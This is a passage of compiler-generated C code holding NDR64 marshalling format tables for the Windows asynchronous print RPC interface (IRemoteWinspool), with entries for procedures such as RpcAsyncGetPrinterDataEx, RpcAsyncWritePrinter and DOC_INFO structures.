}\n};\n\nstatic const __midl_frag268_t __midl_frag268 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag269\n};\n\nstatic const __midl_frag267_t __midl_frag267 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag266_t __midl_frag266 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag267\n};\n\nstatic const __midl_frag260_t __midl_frag260 =\n{ \n/* RpcAsyncGetPrinterDataEx */\n    { \n    /* RpcAsyncGetPrinterDataEx */      /* procedure RpcAsyncGetPrinterDataEx */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag277,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag343,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag343,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag267,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag269,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* nSize */      /* parameter nSize */\n        &__midl_frag348,\n        { \n        /* nSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag348,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag348,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag254_t __midl_frag254 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag253_t __midl_frag253 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag254\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag271\n    }\n};\n\nstatic const __midl_frag252_t __midl_frag252 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag253\n};\n\nstatic const __midl_frag246_t __midl_frag246 =\n{ \n/* RpcAsyncGetPrinterData */\n    { \n    /* RpcAsyncGetPrinterData */      /* procedure RpcAsyncGetPrinterData */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag277,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag343,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag267,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag253,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* nSize */      /* parameter nSize */\n        &__midl_frag348,\n        { \n        /* nSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag348,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag348,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag243_t __midl_frag243 =\n{ \n/* RpcAsyncAbortPrinter */\n    { \n    /* RpcAsyncAbortPrinter */      /* procedure RpcAsyncAbortPrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag348,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag240_t __midl_frag240 =\n{ \n/* RpcAsyncEndDocPrinter */\n    { \n    /* RpcAsyncEndDocPrinter */      /* procedure RpcAsyncEndDocPrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag237_t __midl_frag237 =\n{ \n/* RpcAsyncEndPagePrinter */\n    { \n    /* RpcAsyncEndPagePrinter */      /* procedure RpcAsyncEndPagePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag389,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag231_t __midl_frag231 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag230_t __midl_frag230 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag231\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag448\n    }\n};\n\nstatic const __midl_frag229_t __midl_frag229 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag230\n};\n\nstatic const __midl_frag227_t __midl_frag227 =\n{ \n/* RpcAsyncWritePrinter */\n    { \n    /* RpcAsyncWritePrinter */      /* procedure RpcAsyncWritePrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag230,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag449,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcWritten */      /* parameter pcWritten */\n        &__midl_frag449,\n        { \n        /* pcWritten */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag224_t __midl_frag224 =\n{ \n/* RpcAsyncStartPagePrinter */\n    { \n    /* RpcAsyncStartPagePrinter */      /* procedure RpcAsyncStartPagePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag461,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag217_t __midl_frag217 =\n{ \n/* DOC_INFO_1 */\n    { \n    /* DOC_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DOC_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag216_t __midl_frag216 =\n{ \n/* *DOC_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag217\n};\n\nstatic const __midl_frag214_t __midl_frag214 =\n{ \n/* __MIDL_IRemoteWinspool_0006 */\n    { \n    /* __MIDL_IRemoteWinspool_0006 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag480,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag216,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag213_t __midl_frag213 =\n{ \n/* DOC_INFO_CONTAINER */\n    { \n    /* DOC_INFO_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DOC_INFO_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag214\n        },\n        { \n        /* DOC_INFO_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag212_t __midl_frag212 =\n{ \n/* *DOC_INFO_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag213\n};\n\nstatic const __midl_frag211_t 